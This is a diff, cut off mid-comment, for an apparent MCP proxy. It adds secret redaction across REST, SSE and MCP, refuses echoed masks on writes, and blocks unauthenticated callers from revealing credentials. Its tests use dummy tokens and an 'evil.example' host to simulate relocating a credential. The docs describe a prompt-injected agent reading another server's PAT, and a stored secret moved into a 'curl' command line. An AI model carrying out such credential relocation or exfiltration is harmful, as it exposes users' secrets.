diff --git a/docs/api/rest-api.md b/docs/api/rest-api.md index 45d071c11..075bea7eb 100644 --- a/docs/api/rest-api.md +++ b/docs/api/rest-api.md @@ -152,6 +152,51 @@ preserved) and the [`config-to-secret`](#post-apiv1serversnameconfig-to-secret) endpoint reads the real value server-side. Flip the flag only if you need to inspect a raw value through the API for debugging. +On the MCP channel the flag also requires an **authenticated** caller +(issue #1148): an unauthenticated `/mcp` client is admin only for backward +compatibility, and gets the masked values regardless of the flag. The REST +API always requires an API key, so it is unaffected. + +Redaction is not limited to headers. The same responses — and the `/events` +SSE `servers.changed` payloads, which go through the identical redactor — also +mask env values, URL query credentials, `oauth.extra_params`, `oauth.scopes` +and credential-shaped **argv tokens** (`--api-key sk-…`, `--endpoint=ghp_…`), +using one shared rule set so the REST, SSE and MCP doors cannot drift. + +Two rules decide, in that order, and **both** run on every field: + +1. The **field name** — `Authorization`, `GITHUB_TOKEN`, `?access_token=`, + `--api-key`. This is what keeps a payload readable: it says *which* + credential is configured without revealing it. +2. The **value's own shape** — an AWS key, a GitHub token, a PEM block, a + high-entropy blob — wherever it sits. A credential under a benign name + (`env: {BUILD_ID: ghp_…}`, `?opaque=ghp_…`, a custom header) is invisible to + rule 1 and obvious to rule 2, so rule 2 runs over everything rule 1 left + alone. In a URL it runs per component, so the readable + `scheme://user:••••(N chars)@host/db` rendering survives while a second + credential elsewhere in the same URL is still masked. + +Three consequences for clients: + +- A masked value **echoed back on a write** is reverted only when it can be + bound to a key it cannot be moved away from — a map key for `env` / `headers` + / `oauth.extra_params`, a query-parameter name plus the stored scheme and + `host:port` for `url`, a field name for `oauth.client_secret` / + `client_id` / `redirect_uri`. So a read-modify-write that edits one field + never persists another field's mask over the real secret. +- Everything else is **refused** with `400`, never reverted: `args`, + `oauth.scopes`, `isolation.extra_args`, a mask moved to a different key or + host, and any field added to the server config later. An argv slot (like a + scope) has no key to bind a stored secret to — only its index and its + neighbours, all of them caller-supplied in the same request — so an echoed + mask is refused rather than reverted. Resend the real value, or omit the + field to leave the stored one unchanged. `POST /api/v1/servers` refuses + *every* echoed mask, since on create there is no stored value to bind one to. + See [Upstream servers](../configuration/upstream-servers.md#how-you-edit-them). +- `GET /api/v1/servers/{id}/logs` scrubs credentials out of the returned log + lines (mcpproxy logs the upstream URL with its query string, and a child MCP + server may print its own API key), matching the MCP `tail_log` operation. + The MCP `upstream_servers` tool was the original motivator for redaction (see [PR #425](https://github.com/smart-mcp-proxy/mcpproxy-go/pull/425)) — a prompt-injected agent could otherwise read another upstream's PAT via diff --git a/docs/configuration/upstream-servers.md b/docs/configuration/upstream-servers.md index 722946c18..3253a0a3f 100644 --- a/docs/configuration/upstream-servers.md +++ b/docs/configuration/upstream-servers.md @@ -146,6 +146,75 @@ To disable redaction (for debugging only), set `reveal_secret_headers: true` in `mcp_config.json`. **It's not normally needed**: the editing flow described below works without ever exposing the plaintext to the client. +Since v0.64 (issue #1148) the flag additionally requires an **authenticated** +caller. `/mcp` is deliberately unprotected by default +(`require_mcp_auth: false`), so an unauthenticated MCP client is treated as +admin for backward compatibility — but that is not an identity, and it no +longer satisfies a check that hands back raw credentials. With the flag on, +raw values are returned to a caller presenting the API key or an admin agent +token, to a tray/socket connection (authenticated by OS-level socket +permissions), and over stdio; an unauthenticated TCP `/mcp` caller gets the +masked values. Nothing else changes: every other operation an unauthenticated +MCP client can perform today still works. + +Argument vectors are masked too: a credential passed as `--api-key sk-…` in +`args` is masked by flag name, by value shape and — since the review round on +the same issue — by URL shape in every spelling (`--flag `, `--flag=` +and a bare positional token all mask `?token=…` and `https://user:pass@host`). + +For the **keyed** fields, a masked value echoed back on the write path is +reverted to the stored value rather than persisted over it, and every revert is +**bound to where the value was read from**: + +| Field | Bound by | +|-------|----------| +| `env_json` / `headers_json` | the map key | +| `url` | the stored scheme and host:port (per query parameter, and the userinfo username) | +| `oauth_json` → `client_secret`, `client_id`, `redirect_uri` | the field | +| `oauth_json` → `extra_params` | the parameter name | +| `oauth_json` → `scopes`, and any future oauth field | *nothing — **refused**, never reverted* | +| `args_json` | *nothing — an argv mask is **refused**, never reverted* | + +A mask that none of those bindings can reach is refused rather than written +through. For `url` that covers a URL whose scheme/host changed and a credential +that does not sit in a query parameter; for `oauth_json` it covers a scope (its +only context is a position in a caller-supplied slice) and any field added to +the oauth block later, which fails closed instead of silently persisting its own +mask. + +**`args_json` is different: an echoed mask is rejected with an error, not +restored.** An argv token has no key to bind a secret to — only its index and +its neighbours — and `args_json` replaces the whole vector while the same patch +also chooses `command`. Every candidate binding is therefore caller-controlled: +an index can be picked, a preceding flag copied verbatim, and a byte-identical +argv means nothing once `command` moves from `mcp-foo` to `curl`. Any revert +rule would let a caller relocate a stored credential into a command line of its +own choosing. + +So a write whose `args_json` still carries a mask this proxy rendered fails +with: + +``` +args_json[2] is a redaction placeholder, not an argument value: credential-shaped +argv tokens are masked on read and are never restored on write, because an argv +slot carries no key to bind the secret to. Resend the real value for that +argument, or omit args_json to leave the stored arguments unchanged +``` + +Do not build a read-modify-write loop that feeds a masked `args` list back in: +**resend the real values**, or omit `args_json` entirely when you are not +changing the arguments (omitting it leaves the stored vector untouched). +Rejecting is deliberate rather than silently keeping the stored vector — +`args_json` replaces the vector, so ignoring it would make the write look +applied when it was not. + +The same contract applies on REST. `GET /api/v1/servers` masks `args` and +`oauth.extra_params` with the same rules (they are one shared implementation in +`internal/oauth`, so the two doors cannot drift), and `POST`/`PATCH +/api/v1/servers` refuse an echoed `args` mask with `400` for the same reason the +MCP path does — `args` replaces the vector there too. The `oauth` block is +read-only over REST, so no REST write can echo its mask back. + ### How you edit them #### Web UI / macOS tray @@ -209,6 +278,13 @@ curl -X PATCH -H "X-API-Key: $KEY" -H "Content-Type: application/json" \ - key absent from body → preserve (this is how the UI sends a diff against the masked view without overwriting unchanged values) +A client that sends the **whole** map back is safe too: a value that is exactly +the mask the read path rendered for that key is reverted to the stored secret, +bound to the key it was read from. What cannot be bound to a key is **refused** +with `400` rather than written through — `args`, `oauth.scopes`, +`isolation.extra_args`, a mask moved to a different key, and a URL mask whose +scheme/host changed. Resend the real value, or omit the field. + See [REST API › PATCH](../api/rest-api.md#patch-apiv1serversname) for the full reference, including the [`/config-to-secret`](../api/rest-api.md#post-apiv1serversnameconfig-to-secret) diff --git a/internal/auth/context.go b/internal/auth/context.go index 036d01b93..0f6cd9129 100644 --- a/internal/auth/context.go +++ b/internal/auth/context.go @@ -25,6 +25,17 @@ type AuthContext struct { DisplayName string // User's display name Role string // "admin" or "user" (empty for API key / agent token auth) Provider string // OAuth provider used (e.g., "google", "github") + + // Anonymous marks a context that was NOT authenticated and only carries + // admin type for backward compatibility (issue #1148). + // + // /mcp is deliberately unprotected by default (require_mcp_auth=false) so + // MCP clients that cannot send an API key keep working, and the middleware + // therefore hands an unauthenticated request an admin context. That is + // fine for the operations those clients need — and it is NOT an identity, + // so it must not satisfy a check that hands back raw credentials. See + // CanRevealSecrets. + Anonymous bool } // contextKey is an unexported type used as context key to avoid collisions. @@ -106,6 +117,40 @@ func AdminContext() *AuthContext { } } +// AnonymousContext returns the back-compat admin context for an +// UNAUTHENTICATED MCP request (issue #1148). +// +// Type stays AuthTypeAdmin on purpose: every existing IsAdmin()-based +// allowance — ordinary tool calls, retrieve_tools, server add/update/patch, +// quarantine approvals — behaves exactly as it did, so no MCP client that +// works today stops working. The only thing the Anonymous bit changes is +// CanRevealSecrets. +func AnonymousContext() *AuthContext { + return &AuthContext{ + Type: AuthTypeAdmin, + Anonymous: true, + } +} + +// CanRevealSecrets reports whether this caller may be handed RAW credential +// values (issue #1148) — today, `upstream_servers list` under the opt-in +// `reveal_secret_headers` flag. +// +// It is deliberately stricter than IsAdmin and deliberately nil-safe: +// +// - an unauthenticated /mcp caller is admin for back-compat but has proved no +// identity, so it gets masked values like everyone else; +// - a nil context (the stdio transport before it installs one, an in-process +// caller, a test) is unprivileged rather than admin-by-absence — the +// opposite of the `authCtx != nil && !authCtx.IsAdmin()` shape, which lets +// the ABSENCE of a token pass a gate that a scoped token fails. +// +// Authenticated admins — the API key, a tray/socket connection, stdio, an +// OAuth admin user in the server edition — are unaffected. +func (ac *AuthContext) CanRevealSecrets() bool { + return ac != nil && ac.IsAdmin() && !ac.Anonymous +} + // UserContext returns an AuthContext for a regular OAuth-authenticated user. func UserContext(userID, email, displayName, provider string) *AuthContext { return &AuthContext{ diff --git a/internal/auth/context_test.go b/internal/auth/context_test.go index 4bc89243b..679800d50 100644 --- a/internal/auth/context_test.go +++ b/internal/auth/context_test.go @@ -310,3 +310,37 @@ func TestUserContext_NoImplicitAccess(t *testing.T) { assert.False(t, ac.CanAccessServer("github")) assert.False(t, ac.HasPermission(PermRead)) } + +// TestAnonymousContext_CanRevealSecrets pins the distinction issue #1148 turns +// on: an unauthenticated /mcp caller is still treated as admin for every +// operation that worked before (that back-compat is deliberate), but it is NOT +// an identity, so it cannot ask for raw secrets. A nil context — the stdio +// transport before it installs one, an in-process caller, a test — must fail +// the same way rather than inheriting admin by absence. +func TestAnonymousContext_CanRevealSecrets(t *testing.T) { + anon := AnonymousContext() + if !anon.IsAdmin() { + t.Fatal("AnonymousContext must stay admin so existing unauthenticated MCP operations keep working") + } + if anon.CanRevealSecrets() { + t.Error("anonymous caller must not be allowed to reveal secrets") + } + + if !AdminContext().CanRevealSecrets() { + t.Error("an authenticated admin must still be allowed to reveal secrets") + } + + var nilCtx *AuthContext + if nilCtx.CanRevealSecrets() { + t.Error("a nil auth context must not be treated as a secret-revealing admin") + } + + agent := &AuthContext{Type: AuthTypeAgent, AgentName: "bot", AllowedServers: []string{"*"}} + if agent.CanRevealSecrets() { + t.Error("agent tokens must not be allowed to reveal secrets") + } + + if !AdminUserContext("u1", "a@b.c", "A", "google").CanRevealSecrets() { + t.Error("an OAuth-authenticated admin user must be allowed to reveal secrets") + } +} diff --git a/internal/httpapi/redact_args_oauth_test.go b/internal/httpapi/redact_args_oauth_test.go new file mode 100644 index 000000000..f7ae2fc03 --- /dev/null +++ b/internal/httpapi/redact_args_oauth_test.go @@ -0,0 +1,72 @@ +package httpapi + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// Issue #1148, round 4 finding 3: the REST twin of the MCP surface. The +// `upstream_servers list` payload masks credential-shaped argv tokens and +// oauth extra_params; GET /api/v1/servers returned both in the clear. +// +// Passing a credential as an argv token (`uvx mcp-foo --api-key sk-…`) is one +// of the commonest MCP server config shapes, and an RFC 8707 resource +// indicator routinely carries a signed URL. +func TestRedactServerSecretFields_MasksArgsAndOAuthExtraParams(t *testing.T) { + srv := &contracts.Server{ + Name: "alpha", + Command: "uvx", + Args: []string{ + "mcp-foo", + "--api-key", "sk-argv-secret-777", + "--endpoint=ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789", + "--port", "8080", + }, + OAuth: &contracts.OAuthConfig{ + ClientID: "client-abc", + ExtraParams: map[string]string{ + "resource": "https://api.example.com/mcp?sig=urlsecret999®ion=eu", + "audience": "tenant-a", + }, + }, + } + + redactServerSecretFields(srv) + + joined := srv.Args + assert.NotContains(t, joined, "sk-argv-secret-777", "a flag-named argv credential must be masked") + for _, a := range joined { + assert.NotContains(t, a, "ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789", + "a value-shaped argv credential must be masked") + } + assert.Contains(t, joined, "mcp-foo", "ordinary arguments must stay readable") + assert.Contains(t, joined, "--api-key", "the flag is the audit signal and must survive") + assert.Contains(t, joined, "8080") + + assert.NotContains(t, srv.OAuth.ExtraParams["resource"], "urlsecret999", + "a signed resource URL in extra_params must be masked") + assert.Equal(t, "tenant-a", srv.OAuth.ExtraParams["audience"], "non-secret params round-trip verbatim") +} + +// The write half of the same contract. REST PATCH REPLACES `args` outright and +// the MCP surface established that argv masks are REFUSED, not reverted (an +// argv slot has no key to bind a stored secret to). Masking args on the REST +// read without refusing them on the REST write would reintroduce exactly the +// read-modify-write corruption the MCP side closed. +func TestRESTArgs_RefuseEchoedMask(t *testing.T) { + stored := []string{"mcp-foo", "--api-key", "sk-argv-secret-777"} + masked := oauth.LiveRedaction.Argv(stored) + require.NotEqual(t, stored[2], masked[2], "precondition: the read path masks the credential") + + assert.Error(t, oauth.CheckArgvMaskEcho("args", masked, stored), + "an echoed mask must be refused, never persisted over the credential") + assert.Error(t, oauth.CheckArgvMaskEcho("args", masked, nil), + "a mask sent on create has nothing to bind to either") + assert.NoError(t, oauth.CheckArgvMaskEcho("args", stored, stored)) + assert.NoError(t, oauth.CheckArgvMaskEcho("args", nil, stored)) +} diff --git a/internal/httpapi/redact_secrets_test.go b/internal/httpapi/redact_secrets_test.go index 4afd1e3e4..359a14d9b 100644 --- a/internal/httpapi/redact_secrets_test.go +++ b/internal/httpapi/redact_secrets_test.go @@ -73,3 +73,48 @@ func TestRedactServerSecretFields_NoSecrets(t *testing.T) { assert.Equal(t, "info", srv.Env["LOG_LEVEL"]) assert.Nil(t, srv.Health) } + +// Issue #1148, round 7 finding 2: the REST/SSE door skipped the isolation +// blocks entirely, so `isolation.extra_args` — free text an operator puts +// `-e API_KEY=` into — was masked on the MCP door and published in the +// clear here and on every /events servers.changed payload. +// +// `isolation_defaults` is included because it is RESOLVED FROM the global +// docker_isolation block: a credential in the global `extra_args` lands in it +// verbatim (internal/management/service.go). Round 7 finding 4 re-judged it +// from "not secret" for exactly that reason. +func TestRedactServerSecretFields_MasksIsolationBlocks(t *testing.T) { + const token = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + srv := &contracts.Server{ + Name: "alpha", + Isolation: &contracts.IsolationConfig{ + Enabled: true, + Image: "python:3.12", + ExtraArgs: []string{"-e", "SERVER_API_KEY=" + token}, + }, + IsolationDefaults: &contracts.IsolationDefaults{ + RuntimeType: "uvx", + Image: "ghcr.io/astral-sh/uv:python3.13-alpine", + ExtraArgs: []string{"-e", "GLOBAL_API_KEY=" + token}, + }, + } + + redactServerSecretFields(srv) + + for _, arg := range srv.Isolation.ExtraArgs { + assert.NotContains(t, arg, token, "isolation.extra_args published a credential") + } + for _, arg := range srv.IsolationDefaults.ExtraArgs { + assert.NotContains(t, arg, token, "isolation_defaults.extra_args published a credential") + } + + // Masked-but-PRESENT: the UI renders these as override placeholders, so the + // non-secret values must survive byte for byte. + assert.True(t, srv.Isolation.Enabled) + assert.Equal(t, "python:3.12", srv.Isolation.Image) + assert.Equal(t, "ghcr.io/astral-sh/uv:python3.13-alpine", srv.IsolationDefaults.Image) + assert.Equal(t, "uvx", srv.IsolationDefaults.RuntimeType) + assert.Equal(t, "-e", srv.Isolation.ExtraArgs[0]) + assert.Contains(t, srv.Isolation.ExtraArgs[1], "SERVER_API_KEY", + "the variable NAME is the audit signal and must survive") +} diff --git a/internal/httpapi/round6_write_parity_test.go b/internal/httpapi/round6_write_parity_test.go new file mode 100644 index 000000000..f0f067fa8 --- /dev/null +++ b/internal/httpapi/round6_write_parity_test.go @@ -0,0 +1,179 @@ +package httpapi + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// Issue #1148, round 6 finding 2. Moving the LIVE rendering onto the REST read +// door is only safe if the REST WRITE door reverts exactly that rendering. +// Without these, `GET` → edit one field → `PATCH` would persist the mask string +// over the live credential — turning a disclosure into corruption, which is the +// one trade this branch must never make. + +const round6Token = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + +// storedRound6Server is the server the read door renders and the write door +// must restore. +func storedRound6Server() *config.ServerConfig { + return &config.ServerConfig{ + Name: "github", + Protocol: "streamable-http", + URL: "https://host/mcp?opaque=" + round6Token, + Env: map[string]string{"BENIGN": round6Token}, + Headers: map[string]string{"X-Weird": round6Token}, + Enabled: true, + } +} + +// maskedRound6Payload renders the stored server through the REST READ door, +// exactly as a client would receive it from GET /api/v1/servers. +func maskedRound6Payload(t *testing.T) *contracts.Server { + t.Helper() + stored := storedRound6Server() + view := &contracts.Server{ + Name: stored.Name, + URL: stored.URL, + Env: map[string]string{"BENIGN": stored.Env["BENIGN"]}, + Headers: map[string]string{"X-Weird": stored.Headers["X-Weird"]}, + } + oauth.RedactServerSecretFields(view) + require.NotContains(t, view.URL, round6Token) + require.NotContains(t, view.Env["BENIGN"], round6Token) + require.NotContains(t, view.Headers["X-Weird"], round6Token) + return view +} + +func patchRound6(t *testing.T, body map[string]any) (*httptest.ResponseRecorder, *mockPatchServerController) { + t.Helper() + mockCtrl := &mockPatchServerController{ + apiKey: "test-key", + existingServer: storedRound6Server(), + } + srv := NewServer(mockCtrl, zap.NewNop().Sugar(), nil) + + raw, err := json.Marshal(body) + require.NoError(t, err) + req := httptest.NewRequest(http.MethodPatch, "/api/v1/servers/github", bytes.NewReader(raw)) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("X-API-Key", "test-key") + w := httptest.NewRecorder() + srv.ServeHTTP(w, req) + return w, mockCtrl +} + +// TestPatchServer_RevertsTheLiveMaskItRendered is the round trip: read the +// masked payload back, echo it into PATCH, and the stored credentials must +// survive untouched. +func TestPatchServer_RevertsTheLiveMaskItRendered(t *testing.T) { + masked := maskedRound6Payload(t) + + w, ctrl := patchRound6(t, map[string]any{ + "url": masked.URL, + "env": map[string]string{"BENIGN": masked.Env["BENIGN"]}, + "headers": map[string]string{"X-Weird": masked.Headers["X-Weird"]}, + }) + + require.Equal(t, http.StatusOK, w.Code, "body=%s", w.Body.String()) + require.NotNil(t, ctrl.capturedUpdates) + assert.Equal(t, "https://host/mcp?opaque="+round6Token, ctrl.capturedUpdates.URL, + "the stored URL credential must not be overwritten by its own mask") + assert.Equal(t, round6Token, ctrl.capturedUpdates.Env["BENIGN"], + "the stored env credential must not be overwritten by its own mask") + assert.Equal(t, round6Token, ctrl.capturedUpdates.Headers["X-Weird"], + "the stored header credential must not be overwritten by its own mask") +} + +// An edit to an unrelated part of the URL must still restore the credential — +// the per-parameter binding is what makes that work. +func TestPatchServer_RevertsTheLiveURLMaskAcrossAnUnrelatedEdit(t *testing.T) { + masked := maskedRound6Payload(t) + edited := replaceOnce(t, masked.URL, "/mcp?", "/mcp/v2?") + + w, ctrl := patchRound6(t, map[string]any{"url": edited}) + + require.Equal(t, http.StatusOK, w.Code, "body=%s", w.Body.String()) + require.NotNil(t, ctrl.capturedUpdates) + assert.Equal(t, "https://host/mcp/v2?opaque="+round6Token, ctrl.capturedUpdates.URL) +} + +// A mask nothing can bind back must be REFUSED, never persisted. +func TestPatchServer_RefusesAMaskItCannotBind(t *testing.T) { + masked := maskedRound6Payload(t) + + t.Run("url moved to another host", func(t *testing.T) { + moved := replaceOnce(t, masked.URL, "https://host/", "https://evil.example/") + w, ctrl := patchRound6(t, map[string]any{"url": moved}) + assert.Equal(t, http.StatusBadRequest, w.Code, "body=%s", w.Body.String()) + assert.Nil(t, ctrl.capturedUpdates, "nothing may be persisted") + }) + + t.Run("env mask relocated to a key it was never read from", func(t *testing.T) { + w, ctrl := patchRound6(t, map[string]any{ + "env": map[string]string{"OTHER": masked.Env["BENIGN"]}, + }) + assert.Equal(t, http.StatusBadRequest, w.Code, "body=%s", w.Body.String()) + assert.Nil(t, ctrl.capturedUpdates, "nothing may be persisted") + }) + + t.Run("mask in a field with no revert at all", func(t *testing.T) { + w, ctrl := patchRound6(t, map[string]any{ + "isolation": map[string]any{"extra_args": []string{"--env", "••••ab (12 chars)"}}, + }) + assert.Equal(t, http.StatusBadRequest, w.Code, "body=%s", w.Body.String()) + assert.Nil(t, ctrl.capturedUpdates, "nothing may be persisted") + }) +} + +// POST has no stored value to bind a mask to, so every mask is a placeholder +// copied out of a read payload and must be refused — on every field, not just +// args (round 6 finding 4's REST half). +func TestAddServer_RefusesEveryEchoedMask(t *testing.T) { + masked := maskedRound6Payload(t) + + for name, body := range map[string]map[string]any{ + "url": {"name": "new", "url": masked.URL}, + "env": {"name": "new", "command": "npx", "env": map[string]string{"BENIGN": masked.Env["BENIGN"]}}, + "headers": {"name": "new", "url": "https://host/mcp", "headers": map[string]string{"X-Weird": masked.Headers["X-Weird"]}}, + } { + t.Run(name, func(t *testing.T) { + mockCtrl := &mockPatchServerController{apiKey: "test-key"} + srv := NewServer(mockCtrl, zap.NewNop().Sugar(), nil) + raw, err := json.Marshal(body) + require.NoError(t, err) + req := httptest.NewRequest(http.MethodPost, "/api/v1/servers", bytes.NewReader(raw)) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("X-API-Key", "test-key") + w := httptest.NewRecorder() + srv.ServeHTTP(w, req) + assert.Equal(t, http.StatusBadRequest, w.Code, "body=%s", w.Body.String()) + }) + } +} + +func replaceOnce(t *testing.T, s, old, replacement string) string { + t.Helper() + idx := indexOf(s, old) + require.GreaterOrEqual(t, idx, 0, "%q not found in %q", old, s) + return s[:idx] + replacement + s[idx+len(old):] +} + +func indexOf(s, sub string) int { + for i := 0; i+len(sub) <= len(s); i++ { + if s[i:i+len(sub)] == sub { + return i + } + } + return -1 +} diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index c8a76d2a0..80500c9d6 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -1625,31 +1625,21 @@ func (s *Server) redactServerSecrets(servers []contracts.Server) { } // redactServerSecretFields masks the secret-bearing fields of a single server -// in place. Shared by the REST list/get path and the SSE event stream so both -// sit behind the same trust boundary (parity is load-bearing: the Web UI's -// mergeServers would flicker masked-vs-plaintext otherwise). +// in place. +// +// The field list AND the rules live in oauth.RedactServerSecretFields because +// THREE doors serve this struct — the REST list/get path here, the `/events` +// SSE stream in internal/runtime, and the clients reading either — and each +// used to carry its own copy. That is how `args` and `oauth.extra_params` +// ended up masked on the MCP surface and published in the clear on both of +// these (issue #1148, round 4 finding 3), and how a credential under a benign +// env/header name stayed in the clear here after the field list was shared but +// the value-shaped detector was not (round 6 finding 2). Parity is load-bearing +// beyond the leak: the Web UI's mergeServers treats each payload as +// authoritative, so a masked-vs-plaintext mismatch would flicker on every +// delivery. func redactServerSecretFields(server *contracts.Server) { - if len(server.Headers) > 0 { - server.Headers = oauth.RedactStringHeaders(server.Headers) - } - if len(server.Env) > 0 { - server.Env = oauth.RedactEnvValues(server.Env) - } - if server.URL != "" { - server.URL = oauth.RedactURLQueryParams(server.URL) - } - if server.LastError != "" { - server.LastError = oauth.RedactSensitiveData(server.LastError) - } - if server.Health != nil && server.Health.Detail != "" { - server.Health.Detail = oauth.RedactSensitiveData(server.Health.Detail) - } - // Spec 044 diagnostic — its Cause echoes the raw connect error, which - // carries the full upstream URL (query secrets and all); scrub it in - // parity with LastError / Health.Detail. - if server.Diagnostic != nil && server.Diagnostic.Cause != "" { - server.Diagnostic.Cause = oauth.RedactSensitiveData(server.Diagnostic.Cause) - } + oauth.RedactServerSecretFields(server) } // enrichServersWithQuarantineStats adds quarantine metrics (pending/changed tool counts) @@ -1996,6 +1986,14 @@ func (s *Server) handleAddServer(w http.ResponseWriter, r *http.Request) { return } + // #1148 round 4: refuse an argv mask on create too. There is no stored + // vector to bind one to here, so a mask can only be a placeholder copied + // out of another server's read payload — never a value worth persisting. + if err := oauth.CheckArgvMaskEcho("args", req.Args, nil); err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } + // GH #1142: refuse a read-only `isolation.enabled` and an unrecognized // isolation mode BEFORE anything is persisted. if err := req.Isolation.validate(); err != nil { @@ -2108,6 +2106,17 @@ func (s *Server) handleAddServer(w http.ResponseWriter, r *http.Request) { serverConfig.Isolation = req.Isolation.resolve(nil) } + // #1148 round 6: on CREATE there is no stored value to bind a mask back to, + // so ANY mask this proxy rendered can only be a placeholder copied out of + // another server's read payload — never a value worth persisting. Refusing + // beats persisting literal text like `••••ab (12 chars)` as a credential, + // which produces a server that fails to connect for a non-obvious reason. + // The MCP `upstream_servers add` door runs the same check. + if err := oauth.CheckServerWriteMasks("server.", serverConfig); err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } + // Add server via controller logger := s.getRequestLogger(r) // T019: Use request-scoped logger if err := s.controller.AddServer(r.Context(), serverConfig); err != nil { @@ -2237,16 +2246,29 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { if req.URL != "" { // #872: the read path masks secrets in the URL query string / userinfo - // (redactServerSecrets → oauth.RedactURLQueryParams), but url is a single - // string field with no field-level diff. If a client edits a non-secret - // part and echoes the masked url back, restore the stored real secrets so - // the mask is never persisted over them. Protects ALL clients, not just - // the tray. + // (redactServerSecrets → oauth.RedactServerSecretFields), but url is a + // single string field with no field-level diff. If a client edits a + // non-secret part and echoes the masked url back, restore the stored + // real secrets so the mask is never persisted over them. Protects ALL + // clients, not just the tray. + // + // #1148 round 6: this is oauth.UnmaskLiveURL, the SAME function the MCP + // patch door calls — the whole-URL echo, then the sensitive-param and + // per-parameter reverts, then a refusal for any mask left unbound. The + // plain oauth.UnmaskURL used here before knew only the params it had + // masked itself, so once the REST read door started masking a + // credential under an unrecognised parameter name the mask was written + // through as the credential. + var storedURL string if existingSrv != nil { - updates.URL = oauth.UnmaskURL(req.URL, existingSrv.URL) - } else { - updates.URL = req.URL + storedURL = existingSrv.URL } + unmaskedURL, err := oauth.UnmaskLiveURL(req.URL, storedURL) + if err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } + updates.URL = unmaskedURL hasUpdates = true } if req.Command != "" { @@ -2254,6 +2276,19 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { hasUpdates = true } if req.Args != nil { + // #1148 round 4: `args` REPLACES the vector, and the read path masks + // credential-shaped argv tokens. Unlike env/headers/url there is no + // unmask contract for argv — an argv slot has no key to bind a stored + // secret to, and the caller supplies the whole vector *and* `command` + // in the same request — so an echoed mask is refused, not reverted. + var storedArgs []string + if existingSrv != nil { + storedArgs = existingSrv.Args + } + if err := oauth.CheckArgvMaskEcho("args", req.Args, storedArgs); err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } updates.Args = req.Args hasUpdates = true } @@ -2280,8 +2315,14 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { // #872: a client could echo a masked env value back (the tray diffs, but // other clients may send the full map). Revert any value that is exactly // the masked rendering of the stored one. + // + // #1148 round 6: UnmaskLiveEnvValues first, because the LIVE read door + // masks a vendor-shaped credential under a benign variable name — a + // rendering UnmaskEnvValues (which compares against oauth's own name + // rule) cannot recognise. Both bind by KEY, so a value is only ever + // restored to the variable it was read from. if existingSrv != nil { - merged = oauth.UnmaskEnvValues(merged, existingSrv.Env) + merged = oauth.UnmaskEnvValues(oauth.UnmaskLiveEnvValues(merged, existingSrv.Env), existingSrv.Env) } updates.Env = merged hasUpdates = true @@ -2300,9 +2341,10 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { merged[k] = *vp } } - // #872: revert any masked header value echoed back (see env note above). + // #872 / #1148 round 6: revert any masked header value echoed back (see + // the env note above — same two-step, same key binding). if existingSrv != nil { - merged = oauth.UnmaskHeaders(merged, existingSrv.Headers) + merged = oauth.UnmaskHeaders(oauth.UnmaskLiveHeaders(merged, existingSrv.Headers), existingSrv.Headers) } updates.Headers = merged hasUpdates = true @@ -2410,6 +2452,19 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { return } + // #1148 round 6: the fail-closed net. The key-bound reverts above restored + // every mask this proxy can bind back to the value it was read from; + // anything still carrying one is refused rather than persisted over a live + // credential. This is what covers the fields with no revert (args, + // oauth.scopes, isolation.extra_args) AND every field added to + // config.ServerConfig later — a new field fails CLOSED instead of silently + // round-tripping its own mask into the config. See + // oauth.ServerFieldMaskDecisions. + if err := oauth.CheckServerWriteMasks("server.", updates); err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } + logger := s.getRequestLogger(r) if err := s.controller.UpdateServer(r.Context(), serverName, updates); err != nil { diff --git a/internal/oauth/logging.go b/internal/oauth/logging.go index 6c22b622f..a0f170a3a 100644 --- a/internal/oauth/logging.go +++ b/internal/oauth/logging.go @@ -13,6 +13,26 @@ import ( "go.uber.org/zap" ) +// Mask MARKERS — the substrings this package's own mask renderings are built +// from. They exist as constants, and every renderer below is written in terms +// of them, because the fail-closed write-path net has to RECOGNISE what the +// read doors rendered: MaskMarkers in redactview.go is assembled from exactly +// these constants (plus security's), so a rendering cannot be added or changed +// without the net learning about it in the same edit. +// +// Issue #1148, round 7 finding 1: the marker list used to be hand-maintained +// beside the renderers and did not know about `***REDACTED***`, so an echoed +// RedactSensitiveData rendering was accepted on a write and persisted over the +// live credential. +const ( + // redactedMarker is what the REGEX scrubbers (RedactSensitiveData, + // RedactURL, RedactHeaders) put in place of a matched secret. + redactedMarker = "***REDACTED***" + + // bulletMarker opens every MaskValue / AuditMaskValue rendering. + bulletMarker = "••••" +) + // Sensitive header names that should be redacted in logs. var sensitiveHeaders = map[string]bool{ "authorization": true, @@ -120,6 +140,40 @@ var tokenPattern = regexp.MustCompile(`(?i)(bearer\s+)[a-zA-Z0-9\-_\.]+`) // secretPattern matches common secret patterns. var secretPattern = regexp.MustCompile(`(?i)(secret|password|token|key)["']?\s*[:=]\s*["']?[a-zA-Z0-9\-_\.]+`) +// urlUserinfoPattern matches the `scheme://user:password@` prefix of a URL +// embedded in free-form text (issue #1148, review round 2). +// +// RedactURLQueryParams has masked the 